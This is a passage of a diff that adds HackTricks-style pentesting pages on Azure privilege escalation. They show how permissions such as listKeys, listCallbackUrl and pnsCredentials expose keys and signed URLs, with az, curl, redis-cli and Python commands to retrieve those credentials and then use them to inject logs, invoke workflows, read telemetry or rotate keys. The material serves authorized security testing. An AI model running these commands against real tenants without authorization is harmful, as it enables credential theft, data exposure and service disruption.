secrets: + +```bash +az aks get-credentials \ + --resource-group \ + --name \ + --admin +kubectl auth can-i '*' '*' --all-namespaces +``` + +`Microsoft.ContainerService/managedClusters/listClusterUserCredential/action` returns the `clusterUser` kubeconfig. Its impact depends on cluster mode. A non-Entra local-account cluster can grant broad access; in Entra or Azure-RBAC mode, the signed-in identity and Kubernetes/Azure role bindings determine authorization. + +```bash +az aks get-credentials \ + --resource-group \ + --name +kubectl auth can-i --list +``` + +See [List Cluster Admin Credentials](https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/list-cluster-admin-credentials?view=rest-aks-2026-03-01) and [List Cluster User Credentials](https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/list-cluster-user-credentials?view=rest-aks-2026-03-01). + +Connected and hybrid equivalents include: + +- `Microsoft.Kubernetes/connectedClusters/listClusterUserCredential/action` +- `Microsoft.Kubernetes/connectedClusters/listClusterUserCredentials/action` +- `Microsoft.HybridContainerService/provisionedClusters/listClusterAdminCredential/action` +- `Microsoft.HybridContainerService/provisionedClusters/listClusterUserCredential/action` + +Always inspect the returned identity and run `kubectl auth can-i --list`; “user” does not imply read-only access. + +## Kubernetes RBAC operations + +Azure RBAC operations containing `rbac.authorization.k8s.io` can create or change Kubernetes roles and bindings. `bind` permits assigning a role, while `escalate` permits creating or updating a role containing privileges the caller does not already possess. Their impact is limited by the target cluster or namespace scope but can lead to Kubernetes administrator access and secret disclosure. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md new file mode 100644 index 0000000000..7c4a47e78a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md @@ -0,0 +1,30 @@ +# Az - Log Analytics Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Workspace shared keys and log injection + +`Microsoft.OperationalInsights/workspaces/listKeys/action`, `Microsoft.OperationalInsights/workspaces/sharedKeys/action`, and `Microsoft.OperationalInsights/workspaces/sharedKeys/read` return workspace shared keys. These keys are used by agents and the legacy HTTP Data Collector API to submit data; they do not grant query access to existing logs. + +```bash +# The output contains the primary and secondary shared keys. +az monitor log-analytics workspace get-shared-keys \ + --resource-group \ + --workspace-name +``` + +An attacker can sign requests with a returned key and inject a custom log record. This can poison dashboards, detections, or downstream automations that trust attacker-controlled fields. The authorization header is `SharedKey :` and the request is sent to: + +```text +POST https://.ods.opinsights.azure.com/api/logs?api-version=2016-04-01 +Content-Type: application/json +Log-Type: AuthorizedValidation +x-ms-date: +Authorization: SharedKey : + +[{"AzurePEASSProof":"shared-key-log-injection"}] +``` + +Because this credential provides ingestion rather than log reading or Azure control-plane access, AzurePEASS marks it high instead of critical. `Microsoft.OperationalInsights/workspaces/regenerateSharedKey/action` is also high and highly disruptive because agents using the rotated key stop authenticating. See [Log Analytics shared keys](https://learn.microsoft.com/en-us/rest/api/loganalytics/shared-keys?view=rest-loganalytics-2025-07-01) and [send data with the HTTP Data Collector API](https://learn.microsoft.com/en-us/azure/azure-monitor/logs/data-collector-api). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index cdcfec73d8..5dd232f482 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -164,6 +164,95 @@ curl --request POST \ --data '{"exampleKey":"exampleValue"}' ``` +### `Microsoft.Logic/workflows/listCallbackUrl/action` + +This workflow-scoped operation returns a broader signed URL. In a live test, its query contained a wildcard `sp=//*`; applying that signature to the known path of an HTTP trigger invoked the workflow without an Entra token and returned the exact response canary. This can therefore expose more than one trigger when their names or paths are known.[[1]](#references)[[14]](#references) + +```bash +workflow_callback_url="$(az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/workflows//listCallbackUrl?api-version=2019-05-01" \ + --body '{"keyType":"Primary"}' \ + --query value -o tsv)" +``` + +The returned signature is a credential. Prefer trying an already-known trigger route from IaC, source, application URLs, alert payloads, or operator notes when `workflows/triggers/read` is denied. Access-control and network restrictions can still block invocation. + +### Integration Account signed callback permissions + +The following operations returned signed, bearer-style URLs in live tests: + +- `Microsoft.Logic/integrationAccounts/listCallbackUrl/action` returned a workflow-wide-style signature. Appending it to known artifact content paths fetched seeded schema, map, and partner content. +- `Microsoft.Logic/integrationAccounts/schemas/listContentCallbackUrl/action` +- `Microsoft.Logic/integrationAccounts/maps/listContentCallbackUrl/action` +- `Microsoft.Logic/integrationAccounts/partners/listContentCallbackUrl/action` +- `Microsoft.Logic/integrationAccounts/assemblies/listContentCallbackUrl/action` +- `Microsoft.Logic/integrationAccounts/agreements/listContentCallbackUrl/action` + +The artifact-specific operations each returned HTTP 200 without an Entra token and exposed the exact seeded XML, map, partner, .NET assembly, or AS2 agreement content. Those files can contain proprietary schemas, routing details, partner identifiers, and executable assembly code.[[15]](#references)[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)[[20]](#references) + +```bash +callback_url="$(az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/integrationAccounts//schemas//listContentCallbackUrl?api-version=2019-05-01" \ + --body '{"keyType":"Primary"}' \ + --query value -o tsv)" + +curl --fail --silent --show-error "$callback_url" --output schema.xml +``` + +Replace `schemas/` with `maps`, `partners`, `assemblies`, or `agreements` and the corresponding artifact name. When list/read is unavailable, names leaked by deployment templates, workflow definitions, source repositories, monitoring, or predictable conventions are enough to attempt the specific callback action. Keep URLs out of logs because anyone who obtains one can use it until it expires or its access key is regenerated. + +### `Microsoft.Logic/workflows/versions/triggers/listCallbackUrl/action` + +This version-scoped operation also returns a signed trigger callback URL, but for an immutable workflow version. It can therefore expose an invocable URL even when the caller cannot modify the current workflow definition. The impact is the impact of the stored workflow: invocation can run connector actions, use configured credentials, or perform actions as the workflow's managed identity.[[2]](#references)[[12]](#references) + +List the available versions, request a callback for one version, and invoke it: + +```bash +version="$(az rest --method GET \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/workflows//versions?api-version=2019-05-01" \ + --query 'value[0].name' -o tsv)" + +callback_url="$(az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/workflows//versions/${version}/triggers//listCallbackUrl?api-version=2019-05-01" \ + --query value -o tsv)" + +curl --request POST \ + --url "$callback_url" \ + --header 'Content-Type: application/json' \ + --data '{"exampleKey":"exampleValue"}' +``` + +Treat the returned URL as a credential and avoid printing it in normal enumeration output. Network and workflow access-control restrictions can still prevent invocation. + +### `Microsoft.Logic/workflows/triggers/run/action` + +This permission directly runs an existing trigger. It does not require workflow write access: if the stored workflow uses connector credentials or a managed identity, invoking it causes those already-configured actions to execute with their existing privileges.[[2]](#references)[[5]](#references) + +```bash +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/workflows//triggers//run?api-version=2019-05-01" \ + --body '{}' +``` + +The endpoint normally returns `202 Accepted`. Monitoring the resulting run requires separate read access, so validate a harmless expected side effect when run-history reads are unavailable. + +### `Microsoft.Logic/workflows/triggers/histories/resubmit/action` + +This operation replays a previous trigger history, including its original trigger inputs, and starts a new workflow run. It can repeat a sensitive transaction or privileged stored action without permission to edit the workflow.[[13]](#references) + +If trigger-history read access is available, retrieve a history ID and resubmit it: + +```bash +history_id="$(az rest --method GET \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/workflows//triggers//histories?api-version=2019-05-01" \ + --query 'value[0].name' -o tsv)" + +az rest --method POST \ + --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Logic/workflows//triggers//histories/${history_id}/resubmit?api-version=2019-05-01" +``` + +If history listing is denied, a history/run ID recovered from logs, alerts, deployment output, or prior operator notes is enough to try the resubmit endpoint. Use a benign history during testing because replaying non-idempotent workflows can duplicate destructive or financial actions. + ### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With these permissions, a caller can modify Logic App workflows and manage their identities. Specifically, the workflow identity CLI can assign or remove system-assigned and user-assigned managed identities. Assignment only attaches the identity; its access to target resources must be granted separately.[[2]](#references)[[4]](#references) @@ -208,5 +297,14 @@ az logicapp deployment source config-zip \ - [9] [Provider - List Operations - REST API (Azure App Service)](https://learn.microsoft.com/en-us/rest/api/appservice/provider/list-operations?view=rest-appservice-2024-11-01) - [10] [Set Up DevOps for Standard Workflows - Azure Logic Apps](https://learn.microsoft.com/en-us/azure/logic-apps/set-up-devops-deployment-single-tenant-azure-logic-apps) - [11] [Web Apps - List Basic Publishing Credentials Policies - REST API (Azure App Service)](https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-basic-publishing-credentials-policies?view=rest-appservice-2025-05-01) +- [12] [Workflow Version Triggers - List Callback URL - REST API (Azure Logic Apps)](https://learn.microsoft.com/en-us/rest/api/logic/workflow-version-triggers/list-callback-url?view=rest-logic-2019-05-01) +- [13] [Workflow Trigger Histories - Resubmit - REST API (Azure Logic Apps)](https://learn.microsoft.com/en-us/rest/api/logic/workflow-trigger-histories/resubmit?view=rest-logic-2019-05-01) +- [14] [Workflows - List Callback URL - REST API (Azure Logic Apps)](https://learn.microsoft.com/en-us/rest/api/logic/workflows/list-callback-url?view=rest-logic-2019-05-01) +- [15] [Integration Accounts - List Callback URL - REST API](https://learn.microsoft.com/en-us/rest/api/logic/integration-accounts/list-callback-url?view=rest-logic-2019-05-01) +- [16] [Integration Account Schemas - List Content Callback URL - REST API](https://learn.microsoft.com/en-us/rest/api/logic/integration-account-schemas/list-content-callback-url?view=rest-logic-2019-05-01) +- [17] [Integration Account Maps - List Content Callback URL - REST API](https://learn.microsoft.com/en-us/rest/api/logic/integration-account-maps/list-content-callback-url?view=rest-logic-2019-05-01) +- [18] [Integration Account Partners - List Content Callback URL - REST API](https://learn.microsoft.com/en-us/rest/api/logic/integration-account-partners/list-content-callback-url?view=rest-logic-2019-05-01) +- [19] [Integration Account Assemblies - List Content Callback URL - REST API](https://learn.microsoft.com/en-us/rest/api/logic/integration-account-assemblies/list-content-callback-url?view=rest-logic-2019-05-01) +- [20] [Integration Account Agreements - List Content Callback URL - REST API](https://learn.microsoft.com/en-us/rest/api/logic/integration-account-agreements/list-content-callback-url?view=rest-logic-2019-05-01) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md new file mode 100644 index 0000000000..f49d5304de --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md @@ -0,0 +1,54 @@ +# Az - Maps Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.Maps/accounts/listKeys/action` + +This operation returns the Azure Maps account's primary and secondary shared keys. Microsoft documents either key as sufficient to authenticate Maps REST API requests.[[1]](#references)[[2]](#references) + +```bash +maps_key="$(az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Maps/accounts//listKeys?api-version=2023-06-01" \ + --query primaryKey -o tsv)" +``` + +In live validation, the recovered key authenticated to the Maps Timezone API and returned HTTP 200 with the expected timezone. The key can consume APIs enabled for that account; impact and cost depend on the SKU, configured services, quotas, and any private Maps data available to the account. + +```bash +curl --fail --silent --show-error --get \ + 'https://atlas.microsoft.com/timezone/byCoordinates/json' \ + --data-urlencode 'api-version=1.0' \ + --data-urlencode 'query=47.60357,-122.32945' \ + --data-urlencode "subscription-key=${maps_key}" +``` + +If account listing is denied, names are often exposed in application configuration, client code, deployment templates, request URLs, or monitoring. A known name is sufficient to try `listKeys` directly. Avoid displaying recovered keys; report only that a credential was obtained and, when authorized, whether a harmless request succeeded. + +## `Microsoft.Maps/accounts/regenerateKey/action` + +This action rotates either shared key and returns the new primary and secondary values. The selected old key stops working immediately, while the replacement authenticates to the same Maps APIs as a key disclosed through `listKeys`. This is both credential access and a potential availability/cost attack against applications using the rotated value. + +```bash +maps_key="$(az maps account keys renew \ + --resource-group \ + --name \ + --key primary \ + --query primaryKey --output tsv)" + +curl --fail --silent --show-error --get \ + 'https://atlas.microsoft.com/timezone/byCoordinates/json' \ + --data-urlencode 'api-version=1.0' \ + --data-urlencode 'query=40.4168,-3.7038' \ + --data-urlencode "subscription-key=${maps_key}" +``` + +Live validation confirmed that the primary key changed, the action returned the replacement, and the replacement received HTTP 200 plus the expected timezone result. Use a harmless, low-volume endpoint during authorized validation because Maps requests can incur usage charges.[[2]](#references)[[3]](#references)[[4]](#references) + +## References + +- [1] [Accounts - List Keys - Azure Maps Management REST API](https://learn.microsoft.com/en-us/rest/api/maps-management/accounts/list-keys?view=rest-maps-management-2023-06-01) +- [2] [Authentication with Azure Maps](https://learn.microsoft.com/en-us/azure/azure-maps/azure-maps-authentication) +- [3] [Timezone - Get by coordinates - Azure Maps REST API](https://learn.microsoft.com/en-us/rest/api/maps/timezone/get-timezone-by-coordinates) +- [4] [Accounts - Regenerate Keys - Azure Maps Management REST API](https://learn.microsoft.com/en-us/rest/api/maps-management/accounts/regenerate-keys?view=rest-maps-management-2023-06-01) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md new file mode 100644 index 0000000000..ad63116945 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md @@ -0,0 +1,76 @@ +# Az - Azure Monitor Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +Azure Monitor resources can store complete callback URLs. Treat those URLs as credentials when they contain a Logic Apps SAS signature, Function key, or another bearer secret. + +## Microsoft.Insights/actionGroups/read + +An action group GET returns its receiver configuration, including webhook service URIs, Logic Apps callback URLs, and Azure Function HTTP trigger URLs.[[1]](#references)[[2]](#references) + +~~~bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Insights/actionGroups/?api-version=2021-09-01" +~~~ + +Inspect receiver URIs locally and avoid printing them into shared logs. A signed Logic Apps callback can be invoked without the reader's Entra token: + +~~~bash +curl --request POST '' +~~~ + +This was live-tested with a disabled action group. The unsigned endpoint failed, while the exact URI returned by actionGroups/read invoked the protected workflow and returned the seeded canary. The group did not need to be enabled for the stored URI to be disclosed. + +If listing is denied, try an exact resource ID recovered from alert rules, IaC, deployment history, activity logs, workbooks, tickets, or naming conventions. Reading a group does not send a notification. + +## Microsoft.Insights/webtests/read + +Application Insights availability tests store the complete request definition. A web-test GET can return the request URL, headers, and body; those fields may contain bearer tokens, Function keys, basic credentials, or signed callback parameters.[[3]](#references)[[4]](#references) + +~~~bash +az rest --method GET \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Insights/webtests/?api-version=2022-06-15" +~~~ + +In the live proof, a disabled Standard web test stored a signed Logic Apps callback in properties.Request.RequestUrl. The exact URI returned by webtests/read invoked the protected canary, while the unsigned endpoint failed. The test remained disabled, so Azure did not run it. + +If listing is denied, recover candidate names from the linked Application Insights component, ARM/Bicep, alert configuration, deployment logs, or source control and try an exact GET. Azure requires a hidden-link tag to an existing Application Insights component when a test is created, which is also a useful discovery pivot. + +Both permissions are High rather than universally Critical because impact depends on the stored credential and its downstream scope. + +## Microsoft.Insights/Components/ApiKeys/Action + +This action creates an Application Insights API key and returns its value once. The caller chooses the key's inherited capabilities; requesting `ReadTelemetry` creates a reusable credential that can query potentially sensitive traces, requests, exceptions, dependencies, and custom events.[[5]](#references)[[6]](#references) + +```bash +# The returned key value is shown only once. Do not print it into shared logs. +az monitor app-insights api-key create \ + --resource-group \ + --app \ + --api-key \ + --read-properties ReadTelemetry +``` + +If component listing is denied, try the exact component name or resource ID found in an instrumentation connection string, application settings, IaC, deployment output, source code, or DNS/telemetry configuration. The Application ID is available on the component and is not the secret API key. + +Use only the returned key—not the Azure CLI token—to query the Application Insights data-plane API: + +```bash +curl --fail --get \ + -H "x-api-key: " \ + --data-urlencode 'query=customEvents | take 10' \ + "https://api.applicationinsights.io/v1/apps//query" +``` + +Live validation ingested a uniquely named custom event, minted a `ReadTelemetry` key, and retrieved the exact event through this API. AzurePEASS marks the action High: it can expose sensitive telemetry, but it does not inherently grant Azure privilege escalation or code execution. Remove assessment keys after testing. + +## References + +- [1] [Action Groups - Get](https://learn.microsoft.com/en-us/rest/api/monitor/action-groups/get?view=rest-monitor-2021-09-01) +- [2] [Action group receiver schema](https://learn.microsoft.com/en-us/rest/api/monitor/action-groups/list-by-resource-group?view=rest-monitor-2021-09-01) +- [3] [Web Tests - Get](https://learn.microsoft.com/en-us/rest/api/application-insights/web-tests/get?view=rest-application-insights-2022-06-15) +- [4] [Web Tests - Create or Update](https://learn.microsoft.com/en-us/rest/api/application-insights/web-tests/create-or-update?view=rest-application-insights-2022-06-15) +- [5] [az monitor app-insights api-key](https://learn.microsoft.com/en-us/cli/azure/monitor/app-insights/api-key?view=azure-cli-latest) +- [6] [Application Insights query API](https://learn.microsoft.com/en-us/rest/api/application-insights/query/get?view=rest-application-insights-v1) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md new file mode 100644 index 0000000000..14bb021509 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md @@ -0,0 +1,67 @@ +# Az - Notification Hubs Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Shared-access keys + +These operations return the primary and secondary keys and connection strings for a namespace or individual Notification Hub authorization rule: + +- `Microsoft.NotificationHubs/Namespaces/authorizationRules/listkeys/action` +- `Microsoft.NotificationHubs/Namespaces/NotificationHubs/authorizationRules/listkeys/action` + +```bash +# Namespace-wide rule +az notification-hub namespace authorization-rule list-keys \ + -g \ + --namespace-name \ + -n RootManageSharedAccessKey + +# Hub-scoped rule +az notification-hub authorization-rule list-keys \ + -g \ + --namespace-name \ + --notification-hub-name \ + -n DefaultFullSharedAccessSignature +``` + +The effective rights come from the selected rule. A default full-access or root rule normally includes `Manage`, `Listen`, and `Send`. Its key can sign a Service Bus SAS token and access the Notification Hubs service API. For example, it can enumerate device registrations and their platform handles: + +```text +GET https://.servicebus.windows.net//registrations/?api-version=2015-01 +Authorization: SharedAccessSignature sr=&sig=&se=&skn= +x-ms-version: 2015-01 +``` + +The same credential can alter registrations or send attacker-controlled push notifications when a Platform Notification Service is configured. See [Notification Hubs SAS construction](https://learn.microsoft.com/en-us/rest/api/notificationhubs/common-concepts), [read all registrations](https://learn.microsoft.com/en-us/rest/api/notificationhubs/read-all-registrations), and the [Notification Hubs service operations](https://learn.microsoft.com/en-us/rest/api/notificationhubs/rest-api-methods). + +The corresponding regeneration actions return the newly rotated credentials and can also break legitimate clients: + +- `Microsoft.NotificationHubs/Namespaces/authorizationRules/regenerateKeys/action` +- `Microsoft.NotificationHubs/Namespaces/NotificationHubs/authorizationRules/regenerateKeys/action` + +```bash +az notification-hub authorization-rule regenerate-keys \ + -g \ + --namespace-name \ + --notification-hub-name \ + -n DefaultFullSharedAccessSignature \ + --policy-key 'Secondary Key' +``` + +AzurePEASS marks these permissions critical because the default management rules expose registration data and permit arbitrary notification delivery. A key from a custom rule with only limited rights has correspondingly narrower impact. + +## Platform Notification Service credentials + +`Microsoft.NotificationHubs/Namespaces/NotificationHubs/pnsCredentials/action` returns the configured third-party push credentials for a hub. Depending on the hub, the response can contain APNS certificate material, Firebase/Google API keys, WNS secrets, Baidu keys, or Amazon ADM client secrets. A normal hub GET can redact these values while this dedicated POST returns them. + +```bash +# The response contains third-party credentials. Keep it out of shared logs. +az rest --method POST \ + --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.NotificationHubs/namespaces//notificationHubs//pnsCredentials?api-version=2023-09-01" +``` + +If hub listing is denied, try exact namespace and hub names recovered from mobile application configuration, IaC, deployment output, source control, activity logs, or support tickets. The [official response schema](https://learn.microsoft.com/en-us/rest/api/notificationhubs/notification-hubs/get-pns-credentials?view=rest-notificationhubs-2023-09-01) identifies every PNS credential type, and the [provider operation catalog](https://learn.microsoft.com/en-us/rest/api/notificationhubs/operations/list?view=rest-notificationhubs-2023-09-01) maps the request to this exact RBAC action. + +Live validation placed a unique Firebase/GCM API key in a Free-tier hub. The ordinary resource GET did not disclose it, while `pnsCredentials/action` returned the exact value. AzurePEASS marks the action High because it directly exposes sensitive external-service credentials; the concrete ability to send notifications or access provider APIs depends on which PNS is configured and that credential's provider-side scope. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md new file mode 100644 index 0000000000..2a1cb41398 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md @@ -0,0 +1,37 @@ +# Az - Purview Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.Purview/accounts/listkeys/action` + +This operation returns primary and secondary connection strings for the Event Hubs namespace that backs Microsoft Purview's Atlas Kafka integration: + +```bash +az rest --method post \ + --url 'https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Purview/accounts//listkeys?api-version=2021-12-01' +``` + +The returned credentials are usable even when a deny assignment prevents direct key retrieval from Purview's managed resource group. Their exact rights depend on the generated authorization rule. In the validated deployment, the primary response selected `AlternateSharedAccessKey`, whose policy had Listen and Send rights across the managed Event Hubs namespace. + +Use the connection string with an Event Hubs client. The managed hubs are normally named `atlas_hook` and `atlas_entities`: + +```python +from azure.eventhub import EventData, EventHubProducerClient + +producer = EventHubProducerClient.from_connection_string( + "", + eventhub_name="atlas_hook", +) +with producer: + batch = producer.create_batch() + batch.add(EventData('{"red_team_validation": true}')) + producer.send_batch(batch) +``` + +`atlas_hook` carries messages sent to Purview, so Send can inject events into the metadata-processing path. Listen-capable credentials can also access retained events where the consumer-group configuration permits it; `atlas_entities` is used for entity-change notifications. Existing system receivers may use an epoch owner and reject a competing non-epoch receiver, so do not claim read access unless a client actually receives data. + +Live validation used only the connection string returned by `listkeys/action` to publish a canary to `atlas_hook`. The Event Hubs SDK completed the send successfully. This proves credential reuse and event injection without relying on access to the protected managed resource group. + +See [Purview Accounts - List Keys](https://learn.microsoft.com/en-us/rest/api/purview/accounts/list-keys?view=rest-purview-2021-12-01), [publish and process Atlas Kafka topic messages](https://learn.microsoft.com/en-us/purview/data-map-kafta-send-receive-events), and [Purview security guidance for optional Event Hubs](https://learn.microsoft.com/en-us/azure/purview/concept-best-practices-security). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md new file mode 100644 index 0000000000..a98c0c0a07 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md @@ -0,0 +1,34 @@ +# Az - Quantum Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Workspace API-key disclosure and regeneration + +`Microsoft.Quantum/Workspaces/listKeys/action` returns the primary and secondary workspace keys plus connection strings. `Microsoft.Quantum/Workspaces/regenerateKey/action` rotates either key. A workspace key authenticates directly to Azure Quantum's data plane without the caller's Entra token. + +```bash +az quantum workspace keys list \ + --resource-group \ + --workspace-name + +az quantum workspace keys regenerate \ + --resource-group \ + --workspace-name \ + --key-type Secondary +``` + +Use the `endpointUri` from the workspace and the nested `primaryKey.key` or `secondaryKey.key` value returned by the current ARM API: + +```bash +curl -sS \ + -H 'x-ms-quantum-api-key: ' \ + 'https://..quantum.azure.com/subscriptions//resourceGroups//providers/Microsoft.Quantum/workspaces//jobs?api-version=2026-01-15-preview' +``` + +The jobs response can disclose creator information, targets, status, metadata, cost/usage, and SAS URLs for job input, output, and containers. The same workspace credential can authorize job submission, which may expose uploaded inputs or incur provider charges; avoid submitting a job during validation unless scope and cost are explicitly approved. + +Live validation used a listed primary key to query the jobs API successfully (HTTP 200). It then rotated the secondary key and used the replacement for the same request. The replacement briefly returned HTTP 401 before becoming active, so retry after a short delay rather than treating the permission as a false positive. No quantum job or provider compute was used during the proof. + +If resource enumeration is denied, recover the workspace name, region, resource group, and subscription from a returned connection string, application configuration, source, deployment output, or logs. See [authenticate with Azure Quantum access keys](https://learn.microsoft.com/en-us/azure/quantum/security-manage-access-keys), [list workspace keys](https://learn.microsoft.com/en-us/rest/api/azurequantum/resourcemanager/workspaces/list-keys?view=rest-azurequantum-resourcemanager-2025-12-15-preview), [regenerate workspace keys](https://learn.microsoft.com/en-us/rest/api/azurequantum/resourcemanager/workspaces/regenerate-keys?view=rest-azurequantum-resourcemanager-2025-12-15-preview), and [list jobs](https://learn.microsoft.com/en-us/rest/api/azurequantum/dataplane/jobs/list?view=rest-azurequantum-dataplane-2026-01-15-preview). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md new file mode 100644 index 0000000000..d39d290dbc --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md @@ -0,0 +1,45 @@ +# Az - Azure Cache for Redis Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## `Microsoft.Cache/redis/listKeys/action` + +This operation returns the primary and secondary access keys for a legacy Azure Cache for Redis instance: + +```bash +az redis list-keys \ + --resource-group \ + --name +``` + +The keys authenticate when access-key authentication is enabled. Network reachability and the cache's TLS settings still apply. A connected attacker can read cached sensitive data, alter cached authorization/session state, or disrupt workloads according to the Redis commands enabled by the service configuration. See [Redis - List Keys](https://learn.microsoft.com/en-us/rest/api/redis/redis/list-keys?view=rest-redis-2024-11-01). + +Azure Cache for Redis is being retired and new deployments can be blocked. Existing instances and the provider operation remain relevant; Azure Managed Redis uses the `Microsoft.Cache/redisEnterprise/.../listKeys/action` family. See the [Azure Cache for Redis retirement FAQ](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/retirement-faq). + +## Azure Managed Redis database keys + +`Microsoft.Cache/redisEnterprise/databases/listKeys/action` returns the primary and secondary keys for a Managed Redis database. `Microsoft.Cache/redisEnterprise/databases/regenerateKey/action` rotates one key and returns the replacement key set. When access-key authentication and network access are enabled, either value is a full Redis credential for that database. + +```bash +# List existing keys. +az redisenterprise database list-keys \ + --resource-group \ + --cluster-name + +# Rotate one key and receive its replacement. +az redisenterprise database regenerate-key \ + --resource-group \ + --cluster-name \ + --key-type Primary + +# Managed Redis uses TLS and port 10000. The username is "default". +redis-cli --tls \ + -h '..redis.azure.net' \ + -p 10000 \ + --user default \ + --pass '' +``` + +A live test against the smallest Managed Redis tier used the listed key to authenticate, write a canary, and read it back. The primary-key regeneration action returned a changed key; after brief propagation, that replacement authenticated and recovered the same canary. These are Critical because they can expose or alter cached sessions, authorization decisions, secrets, queued work, and application state. Key authentication disabled on the database, private networking, and Redis command restrictions can still block or narrow exploitation. See [Managed Redis database operations](https://learn.microsoft.com/en-us/rest/api/redis/redisenterprisecache/databases?view=rest-redis-redisenterprisecache-2025-07-01), [regenerate key](https://learn.microsoft.com/en-us/rest/api/redis/redisenterprisecache/databases/regenerate-key?view=rest-redis-redisenterprisecache-2025-07-01), and [connect with client tools](https://learn.microsoft.com/en-us/azure/redis/how-to-redis-access-data). + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md new file mode 100644 index 0000000000..2a29835ca3 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md @@ -0,0 +1,51 @@ +# Az - Azure Relay Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Relay SAS-key disclosure + +Azure Relay authorization rules contain primary and secondary keys. Namespace rules apply to all child relays; Hybrid Connection and WCF Relay rules are entity-scoped. These actions disclose their connection strings: + +- `Microsoft.Relay/namespaces/authorizationRules/listkeys/action` +- `Microsoft.Relay/namespaces/HybridConnections/authorizationRules/listkeys/action` +- `Microsoft.Relay/namespaces/WcfRelays/authorizationRules/listkeys/action` + +```bash +az relay namespace authorization-rule keys list \ + -g --namespace-name \ + -n RootManageSharedAccessKey + +az relay hyco authorization-rule keys list \ + -g --namespace-name \ + --hybrid-connection-name -n + +az relay wcfrelay authorization-rule keys list \ + -g --namespace-name \ + --relay-name -n +``` + +The rule's `Listen`, `Send`, and `Manage` rights determine the attack. A Send key can form a SAS token and submit HTTP or WebSocket traffic through a Hybrid Connection. A Listen key can impersonate the relay listener. If the relay exposes an internal service, either capability can become a network-boundary bypass or lateral-movement path. + +```text +GET https://.servicebus.windows.net/ +ServiceBusAuthorization: SharedAccessSignature sr=&sig=&se=&skn= +``` + +See [Azure Relay authentication and authorization](https://learn.microsoft.com/en-us/azure/azure-relay/relay-authentication-and-authorization) and the [Hybrid Connections protocol](https://learn.microsoft.com/en-us/azure/azure-relay/relay-hybrid-connections-protocol). + +These actions rotate a key and return the replacement credential: + +- 